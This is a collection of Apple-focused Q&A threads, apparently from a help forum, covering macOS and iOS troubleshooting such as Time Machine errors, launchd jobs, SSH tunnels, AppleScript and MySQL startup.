If you open System Preferences - Display, then click on Arrangement, you will see a white bar above one of the displays. This is where the menu bar is and will be the primary display and probably the screen that the dialogue boxes are opening on. To change just drag it across to the other screen in the Arrange window and this should then make the dialogue box appear on that screen.


How can I disable overscrolling in OSX Lion? Possible Duplicate:
  Can you disable rubber-band scrolling in OS X Lion?

I'm really frustrated with the way overscrolling works in Lion. It makes working with flexible web applications quite difficult.

Anyway is there a way to disable the over scroll?

This setting perhaps :

Found in System Preferences => Genral


iOS 11+: is there a way to temporarily mute sound output? Use case:

Spotify runs an ad.  You know how obnoxious those can be.
I somehow temporarily mute for say 60 secs (duration should be parametrized).
After 60 seconds, volume level comes back to normal, hopefully past ads.

How can I accomplish this?

You can do this with  Workflow using the following workflow. Workflows can be run from a share menu, Today widget or by opening the app.

Since Workflow was acquired by Apple and integrated into iOS 12, it should also be possible with Shortcuts in iOS 12.

Download  Workflow, then install this workflow  Mute Temporarily.


How to create a symbolic link with Quicksilver? Quicksilver has a "Make Alias in..." action but this creates a hard link.  Is there any way, including plugins, to create a symbolic link?

Best is to use an automator (service) you can call with QuickSilver…

The service receives "files or folder" in "Finder.app"
You then add a "Run AppleScript" action with the following code (that you might want to tweak a little) :

    on run {input, parameters}

    tell application "Finder"
        repeat with i in input
            if class of i is not folder then
                set p to POSIX path of ((container of i) as text)
            else
                set p to POSIX path of (i as text)
            end if
            if p is equal to "/" OR p is equal to "/Volumes/" then
                set p to POSIX path of (path to desktop folder) & (name of i as text)
            else
                set p to (p & (name of i as text) & "_SymLink")
            end if
            set i to POSIX path of (i as text)
-- to debug :
--          display dialog "ln -s '" & i & "' '" & p & "'"
            do shell script "ln -s '" & i & "' '" & p & "'"
        end repeat
    end tell

    return true
end run


Error on TimeMachine (unable to backup) Until the mid-april I was used Time Machine with no problem but now no backup is possible (Time  Machine starts, finds the drive, prepares the copy and stops). In the log I have found the following errors:

2019-04-30 14:22:38Error] Failed to mount APFS snapshot with name 'com.apple.TimeMachine.2019-04-10-174518' on volume '/' at mountpoint: '/Volumes/com.apple.TimeMachine.localsnapshots/Backups.backupdb/XXX/2019-04-10-174518/Macintosh HD', error: Error Domain=NSPOSIXErrorDomain Code=2 "No such file or directory"
2019-04-30 14:22:38Error] Failed to mount reference snapshot: com.apple.TimeMachine.2019-04-10-174518 source: Macintosh HD

Time Machine tries to find an old local snapshot which does not exist anymore (sudo tmutil localsnapshot gives me only the last one Created local snapshot with date: 2019-04-30-143219). On my drive I can see that the last snapshot (sudo tmutil listbackups) is 2019-04-10-181153. So I don't understand what is  this issue.

My MBP is running on MacOs Mojave (10.14.2)

I think I have the same problem today. I resolved my problem by rebooting to macOS Recovery (turn off your Mac and press ⌘+R during while pressing power button), and use disk utility to check(First Aid) my boot drive.


Trying to hide a big scratch on iPhone 6S screen I've always been a "naked iPhone" kinda guy since I love the design and hate the way cases feel in my pocket. I've managed pretty well for the past 6 or 7 years, and even when I DO get scratches I don't really mind. My latest iPhone, though, somehow got a pretty large scratch across the front (and a smaller one above that).

The thing is, I'm worried that I won't be able to trade it back in to T-mobile with a big ugly scratch on the screen. I know there's no way to "fix" a scratch, but I'm wondering if there are ways to lessen it--or at least make it look better. I've googled this several times and come up with things like toothpaste or vaseline, but I've also read that some of these things can make the screen worse.

I've also read that screen protectors can make scratches look better (and I've already ordered one), but when I return it to T-mobile I'll probably have to take that off.

Note: I've included a picture of the scratch(es) below, and the slight blurriness of my iPad camera does make the scratch look even worse. Just keep in mind that it's a big scratch, but not quite as deep and nasty as the picture suggests.

Based on your included picture, I feel that it would be best to research whether T-Mobile accepts this type of return. On the other hand, I think that it would be better off if you just show it as it is, because if they find out that you have hidden a scratch, they might deduct cash. I think you should just trade it in as it is. Even so, http://www.t-mobile.com/cell-phone-trade-in.html states that your device's trade amount will be determined inside the store. So, just leave it as it is.


Disassociate an Apple ID from a computer There's a work computer (iMac) I'll soon stop using, which might be used by other people in the future.

While I've mainly used a separate work-only Apple ID on the computer, I suspect I may have used my personal Apple ID on the computer from time to time.

I want to make sure that my personal Apple ID isn't used in the future on the work computer. How do I ensure this is the case?

Go to System Preferences, and check "iCloud" and "Internet Accounts". Sign out where necessary, and once neither of them list your personal account, you're good to go.

You may also want to make sure your web browsers don't remember any of your passwords.


4th gen iPod Touch upgraded to iOS 5 doesn't play through dock connector when screen locks I just upgraded my wife's 4th generation iPod Touch to iOS 5 last night.  She went to play a white noise app through the dock connector connected to a Sony ICF-C1iPMKZ.  It plays through the Sony clock until the auto-lock is triggered.  Is there any way to keep it playing through the dock connector when the screen locks?  It use to do this before the iOS 5 upgrade.

This is a problem I had with my app as well. Since iOS 5 an app is paused as if you had hit the home button when the screen locks. Unless the developer of the app in question adopts background audio, there isn't anything you can do.

My recommendation would be to find a few mp3s to relax, since Apple's music app runs just fine even if the screen is locked.


Why is AU Lab not saving my output device settings? I use the combination of Soundflowerbed and AU Lab on my MacBook Air in order to have a system-wide equalizer.

In AU Lab, when I open a document I previously created, the device selected in the output settings is not restored correctly. I saved the document with the "Built-in output" output device, but when I re-open the document, the output device is set to "Soundflowerbed (2ch)". So I have to manually reselect the right output device each time I open my document.

How can that setting be saved/restored correctly?

In AU Lab, go to Preferences > Document, and untick the "Use preferred audio device when opening documents". The next time you'll open AU Lab, it will keep the "Built-in audio output" as output device!


How to save PDFs in Safari at specific locations? When I click on a PDF link in Safari, it opens using Preview. At the bottom of the PDF file, there are controls buttons (see here https://support.apple.com/en-ca/guide/safari/ibrw1090/mac). When I click on "Save on your Mac" control button, it is saved on my Downloads folder. I would like to specify the location when saving the PDFs. One solution I found was to use command+s when viewing the PDF. This solution does not work all the time, namely, if I am not viewing the PDF using the actual PDF URL, e.g., https://blablabla..../pdf.pdf. This happens for example in the IEEE Explorer when viewing PDFs. When using command+s in a PDF in IEEE Explorer I download the website (.webarchive file) instead of the PDF (.pdf file).
What I would like to do is to be able to save PDFs in specific locations in my MAC. Is it possible using Preview in Safari? If not, probably using another software will solve the issue, so how can I open PDFs in Safari using different software? I looked for solutions on the internet but I am not able to find a solution. Thanks.

Are you viewing the PDF using Safari's default PDF reader and using Command+S keyboard shortcut within Safari? Or are you pressing the Open with Preview option in the control box (as in the Apple support article you linked), which loads it in Preview, where you can then save wherever you want?
If you are pressing the Save on your Mac option within Safari's PDF reader, then by default it saves to the ~/Downloads folder, unless you have chosen to change the Downloads folder to a designated file path/folder yourself? You can change this within Safari's General preferences tab, but remember any other file you download will also download to this designated download folder. This might be useful if you're bulk downloading PDFs all at once to the same folder.
The alternative is, when you are viewing a PDF within Safari, you can select File>Export as a PDF from the menubar which should then prompt you with a save dialog box.
Another alternative is, before clicking on a PDF link on a website/search result, you can right click and select Download Linked File As which will then prompt you with a save dialog box. It's a bit tricky to know if the link is a PDF but if the URL ends with .pdf then typically it will load using the PDF reader within Safari and download as a proper PDF. In Google Search results there's also a little symbol indicating it's a PDF (highlighted in my image below).

Finally you can use other PDF readers with their own Safari PDF reader plugin which may prompt you with the save dialog box when you press download, but I am not sure about this. From memory, I believe Adobe Acrobat did do this several years ago, but overall I found the experience using Adobe Acrobat PDF reader within Safari a bit slow and clunky, so I reverted back to Safari's default PDF reader.
Let me know if this helps!


Is AppleCare Transferable on iPhones? A friend of mine purchased an iPhone 5 a couple of months ago which she now wishes to sell. She said she has contacted Apple with regards to the AppleCare warranty and selling her iPhone and was informed that the AppleCare that was purchased with the handset cannot be transferred to the new owner OR to a new iPhone 5S.

She would like to know is this true (and isn't it therefore a rip off), as she is only a couple of months into the agreement and therefore would think twice about upgrading at all ?

AppleCare protects the item and is fully transferable to any new owner of that existing phone. Also, the full terms and conditions are at apple.com/legal in case your country specific details differ from the USA.

You can also cancel AppleCare for a pro-rated refund at any time so if after three months, you wanted to sell your iPhone 5 to someone that didn't want to pay for AppleCare coverage - you could get the majority of the cost back.

I agree with what you reported, you can't in general just move AppleCare to another device whether it's the same owner or a different owner. The move in that case is to get a refund in my opinion. The power to decide is in your friend's choice - sell the iPhone 5 with coverage if that raises the sale price (or value to the next owner) or get a refund which will defray all but the few months of coverage that has been used when buying coverage for the iPhone 5s.


Early 2011 MacBook Pro does not standby correctly My Early 2011 15" MBP non-retina will not enter standby mode correctly. Meaning, when inactive for a few minutes, rather than just turning off the display, it goes into sleep mode, causing network shares to disconnect.

I have the Energy Saver settings set to never sleep while on power

This is a big problem for me, since I use NAS shares to store much of my work.

Is there a way to either
A) Disable sleep mode while plugged in (because usually when I need the shares up I'm plugged in) OR
B) Configure macOS to keep AFP shares connected while in sleep mode

I am running 10.13 High Sierra Beta

This Support Page at Apple does not specify your MBP as fulfilling the hardware requirements for using Standby mode:

•   MacBook (2015 and later)
•   MacBook Pro (2012 and later)
•   MacBook Air (2010 and later)
•   SSD and Fusion drive versions of Mac mini (2012 and later)
•   SSD and Fusion drive versions of iMac (2012 and later)
•   Mac Pro (Late 2013)


Where is a "Save As" button in Excel on my MAC Pro to save as a New File Name? Where is a Save As Button in Excel (or Word) on OS X  to save as a New File Name in a specific folder?

File menu > Save As... or  Cmd ⌘   Shift ⇧   S

If you specifically want a button in the button bar, then View > Toolbars > Customise Toolbars & Menus > Commands, then Find it in the File section & drag to where you want it in the toolbar. [Note, Save as doesn't have an icon, so it will appear there in words.]


ssh-under-cron stops working in OS X 10.7 Lion Just upgraded from Snow Leopard to Lion, and my cron jobs that use ssh have stopped working.  It appears that ssh-agent is no longer functioning as expected.

Here's a bowdlerized version of my called-from-cron script that worked great under Snow Leopard:

#!/bin/bash
whoami # just to verify I'm running as myself, not root
ssh-agent # just to see what it outputs
eval `ssh-agent`
ssh -vvv REMOTESERVER ls

When run from the command prompt, this script works as expected.

When run from cron, it doesn't work.  The ssh-agent output looks normal:

SSH_AUTH_SOCK=/tmp/ssh-QRxPUMRxbu/agent.17147; export SSH_AUTH_SOCK;
SSH_AGENT_PID=17148; export SSH_AGENT_PID;
echo Agent pid 17148;
Agent pid 17150

But the ssh -vvv output shows that it fails right when the private key should be read:

debug1: Server accepts key: pkalg ssh-dss blen 818
debug2: input_userauth_pk_ok: fp ...
debug3: sign_and_send_pubkey: DSA ...
debug1: PEM_read_PrivateKey failed
debug1: read PEM private key done: type <unknown>
debug1: read_passphrase: can't open /dev/tty: Device not configured
debug2: no passphrase given, try next key

In other words, it's expecting me to type in the passphrase for ~/.ssh/id_dsa, which of course doesn't work in cron jobs.

This all worked in Snow Leopard.

Note that I've got Keychain Access setup so that ssh, ssh-agent, and ssh-add are allowed to read my passphrase for my .ssh/id_dsa file - as a result I can SSH from a terminal prompt without ever having to enter my passphrase.

Is this issue that I need to run ssh-add at some point in my login process?  Running it from a standard bash prompt doesn't help the cron job out (although, oddly, it does prompt me for my passphrase ... which I would think isn't necessary b/c of the Keychain Access configuration).

NOTE 1 - before redirecting me - I'm aware there's a similar question here (
Mac OS X Lion and sshpass) but it's specifically about a program sshpass that I don't use (although I believe that question would be answered by this one as well).

NOTE 2 - I realize that passphrase-less SSH keys would solve my problem; however I'd prefer not to go this route.

For anyone who ends up on this page, I realized I should post the answer:

Using launchd instead of cron does indeed fix the authorization problem.  Your user launchd jobs (which run only when you are logged in) correctly use the SSH agent information that was unlocked via your keychain as part of login (as part of standard OS X key management, no other software required).

To minimize my interactions with launchd, I created a single launchd job that calls a bash script.  In this way I can simply edit the script without dealing with launchd.

Here's the launchd file:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.mycron.hourly</string>

  <key>ProgramArguments</key>
  <array>
    <string>/Users/john/bin/cron.hourly</string>
  </array>

  <key>Nice</key>
  <integer>1</integer>

  <key>StartInterval</key>
  <integer>3600</integer> <!-- start every X seconds -->

  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>

I saved the file to ~/Library/LaunchAgents/com.mycron.hourly.plist, and then loaded it with:

launchctl load ~/Library/LaunchAgents/com.mycron.hourly.plist

Once loaded, it will run right away and then again every 60 minutes.

If you follow the same procedure, you'll want to change the `ProgramArguments' string with the right path to your script.


Recover deleted Notes on iOS I deleted a note accidentally.  I found it in my deleted notes.  It will stay there for 30 days and then delete forever it says.  How do I get it saved back into Notes from Deleted Notes?

Swipe it left.

You get 2 options, Move & Delete.

Move allows to to move it back to where it came from, or anywhere else.
[Delete is permanent from that folder, so be careful]


Where are iOS7 system wallpapers? Where are iOS7 system wallpapers in the file system?

P.S. accessible with iFile or ssh (jailbroken).

e.g. /var/mobile/...

/Library/Wallpaper is a symlink to the relevant location on the device.

The actual location is /var/stash/Wallpaper.xxxxxx/<iOSdevice> with xxxxxx being a generated string and <iOSdevice> being the type of iOS device (e.g. iPhone). The wallpapers are contained within this folder along with the thumbnails.


I'm looking for an application to measure words per minutes when typing I'm looking for an application to measure words per minute when typing. It's just a general application without training, and of course it won't detect the wrong typed words but it's ok.

Command line application or GUI application  is also fine.


Code to Flowchart-Program for Mac OS? I'm searching an alternative Program which can draw Flowcharts for pieces of sourcecode. I found Programs like "C/Delphi/Basic Code 2 Flowchart" or "Visustin" but they're only for Windows.

Helpful and lazy as it is - I'm searching for a program that turns C++ code into Flowcharts to have a better overview what my program does.

Python Call Graph, a Python module that creates call graph visualizations for Python applications.
https://github.com/gak/pycallgraph

code2flow, turn your Python and Javascript code into DOT flowcharts
https://github.com/scottrogowski/code2flow


Starting and stopping mysql server. Shorten and make automatic Currently I start and stop mysql with the following command

sudo /usr/local/mysql/support-files/mysql.server start

sudo /usr/local/mysql/support-files/mysql.server stop

It is quite a long command to remember.  How can I set it up so that I can start and stop it with a single command.  Something like.

sudo mysql-server start

I am thinking I would need to crete a symbolic link somewhere for this to work?  Also one last option; how can I make it so that it runs on bootup by default?

Just create an alias in your ~/.bash_profile or ~/.profile file.

Check with ls -la0 ~/ if one of the files already exist, else create one with:

touch ~/.bash_profile

After opening .bash_profile with nano ~/.bash_profile add the lines:

alias iwanttostartmysqlwithareallyshortcommand='sudo /usr/local/mysql/support-files/mysql.server start'
alias iwanttostopmysqlwithareallyshortcommand='sudo /usr/local/mysql/support-files/mysql.server stop'

write the file to disk with ctrlO and exit nano with ctrlX.

Then enter:

source .bash_profile

In the future you just have to enter

iwanttostartmysqlwithareallyshortcommand

or

iwanttostopmysqlwithareallyshortcommand

to start or stop mysql after entering your password.

A shorter alias like iwanttostartmysqlnow works also. Even really, really short ones are possible like stm (= start mysql) or spm (= stop mysql). They mustn't collide with other aliases or valid commands though. The shortest I have found - and easy to remember - are 1 to start and 0 to stop mysql. ;-)

To answer your second question:

If you have installed the latest MySQL from Oracle a launch daemon should have been installed in /Library/LaunchDaemons already.

If you have installed another mysql package (e.g. homebrew) you may use the example here and adapt it.

Slightly modified example:

<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
  <dict>
    <key>RunAtLoad</key>
    <true/>
    <key>Label</key>
    <string>com.mysql.mysqld</string>
    <key>ProgramArguments</key>
    <array>
    <string>/usr/local/mysql/support-files/mysql.server start</string>
    </array>
  </dict>
</plist>

Save the XML as a file named /Library/LaunchDaemons/com.mysql.mysql.plist

Adjust the file permissions using the Apple recommended owner "root", owning group "wheel", and file permissions "644"

sudo chown root:wheel /Library/LaunchDaemons/com.mysql.mysql.plist
sudo chmod 644 /Library/LaunchDaemons/com.mysql.mysql.plist

Enable this new MySQL service with:

sudo launchctl load -w /Library/LaunchDaemons/com.mysql.mysql.plist


How can I view HTTP only cookies in OSX? I have a website I'm investigating and want to view HTTP-only cookies in Firefox, Safari, or Chrome.

How can I view these special cookies in OSX?

In Chrome choose View->Developer->Developer tools (or key alt-cmd-I) and the choose the resources tab.

In Safari Develop->Show Page Resources (key alt-cmd-A) choose the storage view. To turn the developer tools on go to Preferences->Advanced and tick the bottom box "Show Develop menu in Menu bar" For more info see the Apple documentation.


Importing a shared photo stream into iPhoto creates duplicate photos I have a shared photo stream in iCloud with a couple thousand pictures. (This is not My Photo Stream, but a stream I created separately.) About half the pictures were shared by me and the other half were shared by my wife. I wanted to import my wife's photos into my iPhoto, so I right-clicked on the iCloud album in iPhoto and clicked "Import". This imported all the photos into a new event in iPhoto. It imported all of my wife's photos, but it also created duplicate copies of the photos that I had already shared and were still in my iPhoto library. The photos imported from the photo stream have a lower resolution and file size than the original photos in my library.

My questions are:

(1) How can I automatically get rid of these duplicate photos? I tried one tool called "Duplicate Photo Cleaner For iPhoto", but it didn't recognize them as duplicates probably because the file sizes and resolutions are different.

(2) What should I have done instead to import my wife's shared photos without duplicating my own?

to provide an answer to this old question, as it's still good info to have...

1) The best way at the time to delete the photos would have been to view the Last Imported photos and delete them from there.   Not just deleting the duplicates, but deleting all of the photos (basically to reverse the import that was done).

2) What should have been done to import the photos from your wife's phone in to your library is to connect her phone to your computer, and import them from the phone itself, rather than the stream.   This way, you are getting the original photos, not the compressed / lower quality versions from the photo stream.


How can I upload audiobooks to iTunes Match, or sync w/out matching? I have numerous audiobooks that I've manually ripped to <96kbps mp3 format. The steps I've taken to adhere to Apple's iTunes Match policy to get these files available to match are as follows:

Convert track to m4a, automatically up-converted to a higher bit rate; now meets standards.
File size was over 200mb, so I ran it through splitting software, which brought the total size of each individual m4a down to ~64 MB.
Attempted to match the file, and received an "Error" message in return.
I followed Apple's recommendation and removed the tracks from iTunes, added again, and received the same message while syncing.

Is there something I'm missing? Since these tracks don't sync, is there an alternative way to get these tracks on my iPhone so I can listen to them without syncing through iTunes Match? For some reason I can't set the metadata to AudioBook (Get Info -> Options -> Media Kind) since that is grayed out.

First, you can save some space by only up-converting to 128kbps m4a or even mp3, perhaps that is what you did already.

The metadata Kind should probably be set as "Music" if not already.

Finally, it's possible that Apple uses the audio fingerprinting to also detect whether it is music at all (but it seems unlikely).


Has the retina screen effectively made dead pixels moot? Now the new iPad has a retina screen, does that mean we can't see dead pixels anymore?

You will still be able to see the defect.

What retina means is that once two items with similar contrast get close enough together, you can't tell them apart - it appears to be one item.

Along a line, for instance, you can't tell where each pixel that makes the line is, but you can clearly see the edge created by the line on the contrasting background.

A dead pixel creates a contrast you'll be able to see.  If you have two dead pixels next to each other, you might think you only have one.  But you will be able to see them if the pixels surrounding them contrast.


Sparrow over a SSH-tunnel Is it possible to use Sparrow over a SSH-tunnel since the imap and ssl ports are blocked at my work?

I think your basic strategy is correct, e.g.:

ssh -L 587:smtp.gmail.com:587 -L 993:imap.gmail.com:993 user@yourremotehost

should get you talking to Gmail via yourremote host.  Potential problems are if you do not run this as root (with sudo), you are not allowed to specify local ports below 1024 - so you can't use 587 or 993 as your local ports.  So, do something like this:

ssh -L 9587:smtp.gmail.com:587 -L 9993:imap.gmail.com:993 user@yourremotehost

...and configure Sparrow to talk to localhost on those high local port numbers instead of the defaults.

Again, you can debug by trying 'telnet localhost 9587' which should get you an SMTP prompt from Gmail.  If that works, you should feel confident that the SSH part is working, and concentrate on Sparrow configuration.

If you get it all working, an alternative to the commandline switches is to make a file called 'config' in your local .ssh directory that looks like this:

Host yourremotehost
        LocalForward    9587    smtp.gmail.com:587
        LocalForward    9993    imap.gmail.com:993


Powerpoint changes mission control desktops every time I focus on a window I'm trying to use PowerPoint on my Mac with Mountain Lion. I have a window that was originally opened in Desktop 1 and then I moved it to Desktop 4. Now, whenever I try to focus on the window in Desktop 4, it auto-switches back to Desktop 1, preventing me from actually doing anything in PowerPoint. The key here seems to be that I've turned off the System Preference in the Mission Control tab to switch to a tab with an open window when I switch to an application. When I check that box, everything works as expected. That's a horrible solution though. Has anyone figured out a better way?

If you're willing to add a third party app to your Mac, use TotalSpaces to assign apps to specific spaces. For example...


Show which iPads have been synced I am with a school and we have several iPads that have been synced to our iTunes account.  I do not have these iPads in my office.  Can I tell by looking in my itunes account which iPads have been synced to my iTunes account?

Look in preferences in iTunes and list all the devices that have a backup stored on the computer. If you didn't get a backup, then it becomes much less likely to catch any information from the system logs.

Grab yourself a copy of the iPhone configuration utility from the enterprise support site and it will log each serial number and details every time it's running and you connect a device.

The Apple Configurator does similar but is intended more for management than just remembering all the devices. It also only runs on Macs running 10.7.2 or later.


Seemingly missing Apple ID account I have been buying apps for months using the exact same Apple ID password with no problem. Then my iPod Touch started telling me that it is wrong. I tried the "I forgot" option, but it did not help. I cannot access my account either and when I looked for it, the page said my account could not be found.

How do I get my account back?

Did you try the steps on http://appleid.apple.com ? (+ answering the secure questions) (eg: Reset password)


Disable Airplay on Mac because of too many Airplay devices I'd like to find a solution to my problem. I recently moved to a dorm of around 1100 students, and each one of these students has a mediabox that is also an Airplay device.

Because of this, the Airplay service seems to completely destroy the sound on the client and make it very slow. I've worked around this by just disabling bonjour altogether by unloading the mDNSResponder and mDNSResponderHelper plists from the launch daemons, but this also makes the multicast announcements of my IPTV service fail.

I've tried blocking the bonjour packets to no success either (with Littlesnitch).

I'd just like it to not load the Airplay devices at all, so it doesn't get hogged up with them.

Information about my system: OSX 10.9.3 (on both a Macbook and an iMac).
Things I've tried:

Chmodding the mDNSService to 000 (doesn't work that well)
Blocking the ports associated with Airplay announcements (5353)
Completely unloading the mDNSResponder and mDNSResponderHelper

I'm connected through a wired network, and the announcements are sent via multicast announcements (as with my IPTV).

Try Disable AirPlay Mirroring in your terminal

sudo chmod 000

/System/Library/CoreServices/AirPlayUIAgent.app/Contents/MacOS/AirPlayUIAgent

To turn it back on

sudo chmod 755

/System/Library/CoreServices/AirPlayUIAgent.app/Contents/MacOS/AirPlayUIAgent

Here is the list of Ports used by Airplay

source


Re-enable Wi-Fi on a Time Capsule I have a Time Capsule that normally acts as a Wireless bridge to my DSL router. (All DHCP and NAT takes place on the router, not the Time Capsule.)

During debugging of home networking issues, I created a new wireless network on the router (it has its own antennae, etc.) and I used the Airport Utility to turn the Wireless off on my Time Capsule.

I'm now connected to the network via the router, and want to return to the previous setup. However, the Airport Utility can no longer connect to the Time Capsule. It's like it cannot find it on the network.

How can I turn Wi-Fi back on?

You can also use Ethernet to connect to a Time Capsule with Wi-Fi disabled.

Connect Time Capsule and Mac via Ethernet cable.
Launch Airport Utility. If Wi-Fi on the Time Capsule is disabled it will show up with a yellow warning sign. Clicking on it only offers to 'Forget this device'.
Click on 'Other Wi-Fi Devices' in the top left corner and under 'Network Interfaces', choose 'Ethernet'.

The Time Capsule should appear. Clicking on it now allows to change its 'Network Mode' by first hitting 'Edit', then choosing the 'Wireless' tab, followed by selecting Wi-Fi from the dropdown menu. Applying the settings will take a few seconds and require a restart.


AppleScript : separating number from text in variable I have a script which calculate the timeframe between date and return the result in days or month or years.

For exemple, given myResult = "6 Days"
How can I separate the number from the text ?

I managed to get the number only using this :

set myResultNumberOnly to number of myResult

but I can't manage to do the same from the text :

set myResultTextOnly to text of myResult

I also tried

set myResultTextOnly to word of myResult

Maybe I can go with text delimiting?
I can't tell the length of the number using this :

set theLength to (get length of (myResultTextNumberOnly as text))

Or should I go with if statement?

How would be the best way to do it?

UPDATE

I just realised that set myResultNumberOnly to number of MyResult  give a wrong number, I don't really understand why ?

set MyResult to "Account Value:$478.01"
set myResultNumberOnly to number of MyResult

  Result: 21

number of MyResult obtains the length of a string.  "6 days" just happens to be 6 characters long, whereas "Account Value:$478.01" is 21 characters long.

The most straightforward method to extract numbers from a string would be to split the string into words, then test each item of the list individually to see whether it can be coerced into a number:

set MyResult to "Account Value:$478.01"
set MyResultWords to words of MyResult

repeat with w in MyResultWords
    set w's contents to coerceToNumber(w's contents)
end repeat

set MyResultNumbers to every number in MyResultWords

to coerceToNumber(x)
    local x

    try
        x as number
    on error
        x
    end try
end coerceToNumber

This won't handle string representations of numbers in scientific notation, e.g. 1.234E+09, as the method AppleScript uses to delimit its words results in {"1.234E", "+", "09"}.  In this case, you can set text item delimiters to space, and perform the same operation on the text items of My Result.

  I have a script which calculate the timeframe between date and return the result in days or month or years.

I do question, however, why your script is producing a result that is a string value of "6 days".  It makes me believe the script you are using to calculate time intervals between dates is not doing it in as an amenable way as it could.  Partly, this depends on the input your script receives, but in many cases, you should consider converting the input into AppleScript date objects, which then allows you to calculate differences easily and returns to you an actual number that you can manipulate to acquire a measure in days, minutes, hours, etc.

The example script below assumes an ISO 8601-formatted date string as input, i.e. "yyyy-mm-dd", although you could adapt the script to cater for other input formats:

# The units parameter is optional, and defaults to measurements in seconds.
# To choose a different unit, pass one of the constants 'hours', 'days',
# 'minutes', or 'weeks' (without quotes).
on timeInterval from startDate to endDate by units : 1
    tell (current date) to set [startDate, ¬
        day, [year, its month, day]] to ¬
        [it, 1, words of startDate]

    tell (current date) to set [endDate, ¬
        day, [year, its month, day]] to ¬
        [it, 1, words of endDate]

    (endDate - startDate) / units
end timeInterval

timeInterval from "2012-06-03" to "2019-04-01" by days    --> 2493.0
timeInterval from "2012-06-03" to "2019-04-01" by weeks   --> 356.142857142857
timeInterval from "2019-03-31" to "2019-04-01" by hours   --> 24.0
timeInterval from "2019-03-31" to "2019-04-01" by minutes --> 1440.0
timeInterval from "2019-03-31" to "2019-04-01"            --> 8.6E+4 [ = 86400 ]


What does the checkbox for some apps in iCloud > Options > Documents mean? In System Preferences > iCloud > Options > Documents, there are checkboxes for "Apps that store documents and data in iCloud."

For many apps, it's clear what the checkbox means: the app can, optionally, store a document in iCloud that can be accessed from any of my devices.

But there are also checkboxes for Mail, System Preferences itself, and Weather. None of those create documents. In Mail's case, the mail is stored in IMAP accounts, so what would having the checkbox checked mean? What would having the checkbox unchecked for either System Preferences or Weather mean?

In the top-level iCloud system preference, there is a separate checkbox for Mail. That checkbox, when checked, shares the configuration information for all e-mail accounts one has.

Firstly, the checkbox for Mail just means it syncs Mail.app settings via iCloud and also it enables the iCloud Account in Mail.app or turn it off.

Secondly, System Preferences settings are also synced via iCloud, for example iCloud syncs my preferred Wifi to any new iOS or Mac I enable iCloud on.

Likewise Weather locations for any city you setup is synced over iCloud.


Submitting Swift 2 apps before the release XCode 7 ? Do you know if it's yet possible to submit some Swift 2 apps to Apple or will I need to wait for the official release of XCode 7 ?

Swift 2 is supported only from xCode7, and xCode7 doesn't allow to ship apps to iTunes Connect so, actually, is impossible to submit app in Swift 2.


Xcode 4.4: how to copy on other machine Is it safe to just copy the Xcode 4.4 app from a machine to another or does the Mac App Store download an installer, rather than just a bundled app, and some Xcode 4.4 pieces get installed somewhere in the system?

Xcode, from version 4.3 on, is a single app and self-contained. Source :

  This version of Xcode is distributed as a single application bundle,
  Xcode.app, installed through the Mac App Store directly to the
  Applications folder. Installing Xcode 4.3 no longer requires the
  Install Xcode application

The command line tools, which are stored elsewhere on the filesystem, are an optional download which you can install separately.

When copied over manually, the App Store will recognise Xcode.app's presence  and change the badge for the application in your "Purchases" from "install" to "installed".


Why does ssh log me in as the wrong user? I am shelling into my Mac (ssh) and get logged in with the wrong userid. There are three unprivileged user accounts on the system, and when I log in, I give my password, and whoami gives me either of the other unprivileged user accounts. (And I can't write to files I own, etc.)

I can workaround to access my account by su [my username], but I'm puzzled. Any suggestions?

ssh can get confused if your short name is different between the two machines. You can check what your short name is on each machine with whoami. To go to a particular account, use ssh jhayward@mymac. If you still have trouble, use ssh -v jhayward@mymac. You may see things like checking ~/.ssh/config. If you want to avoid typing jhaward@ all of the time, you can make (or add to) the file ~/.ssh/config with the lines

Host mymac
Hostname 1234.1234.1234
User jhaward

editing each line for your particular case (the Host is your nickname, the Hostname is the IP address, or mymac.local or whatever you currently use for ssh).

Then you can just use ssh mymac.

If you still have trouble, post some output from ssh -v but be careful to not post anything private (like IP addresses).


How do I remove Twitter and Facebook from Mountain Lion? I want to remove Twitter and Facebook (in the future) from Mountain Lion.

Is it enough to simply remove Twitter.sharingservice from

/System/Library/PrivateFrameworks/ShareKit.framework/Versions/A/Plugins

What about all these other entries:

/System/Library/Frameworks/Social.framework
/System/Library/Accounts/Access
/System/Library/Accounts/Authentication
/System/Library/CoreServices/SocialPushAgent
/System/Library/InternetAccounts/
/System/Library/LaunchAgents/com.apple.twitterd.plist
/System/Library/Messages/Plugins/FaceTime.imservice
/System/Library/SocialServices

Honestly I don't see any benefit in removing the Twitter/Facebook libraries. It may break the installed version as well as lead to problems when upgrading to 10.8.1 etc.

If you want to be sure that nothing you do is ever ending up in Twitter or Facebook just don't log in to these services in Preferences.


Can the VRAM in my 2013 MacbookPro be used as RAM? Any other way to get more RAM? Is there anyway to ''borrow'' from my 1.5GB of VRAM to be used for my RAM?

Otherwise, am I flat-out stuck with my 4GB of RAM?

Too bad it's soldered down. :(

Thanks!

Unfortunately, your question is based on a misunderstanding of how your particular MacBook Pro's VRAM works.

Based on your question details, I assume you have a Late-2013 13" Retina MBP. These models came with an on-board Intel Iris 5100 graphics card. This will actually use up to 1.5GB of your computer's 4GB RAM for its graphics processing.

In other words, the on-board Intel Iris 5100 graphics card does not actually have 1.5GB of VRAM that you could try to borrow as RAM.

Since your RAM is soldered on, if you were to keep this computer then your best bet would be to try and reduce the amount of VRAM being borrowed from your computer's RAM. Whether this is even possible will depend on how you use your computer (e.g. if you have a 4K external display connected then it'll be using more of your RAM as VRAM, if you have no external displays and do nothing but check email all day then you're probably already using as little RAM as possible for your VRAM).

There is also the option of using an external graphics card connected via your Thunderbolt port, but to be honest this may not free up much of your RAM if not much of it was being used as VRAM to begin with. And with only 4GB RAM, I'd be looking at the option implied by Steve Chamber's comment (i.e. sell your MBP and buy another one with more RAM).


How can I remove the window shadow in El Capitan? I tried ShadowKiller and ShadowSweeper, they do not work anymore on El Capitan.
I tried to disable System Integrity Protection, but it does not work.
toggle-osx-shadows also does not work: https://github.com/puffnfresh/toggle-osx-shadows/issues/17

Does anyone have other way? Thank you!

copied from my question about the same issue:

edit 01-11-2019: Works on Mojave.

There is a solution - plugin called winBuddy which is available through MacForge (previously known as mySIMBL).

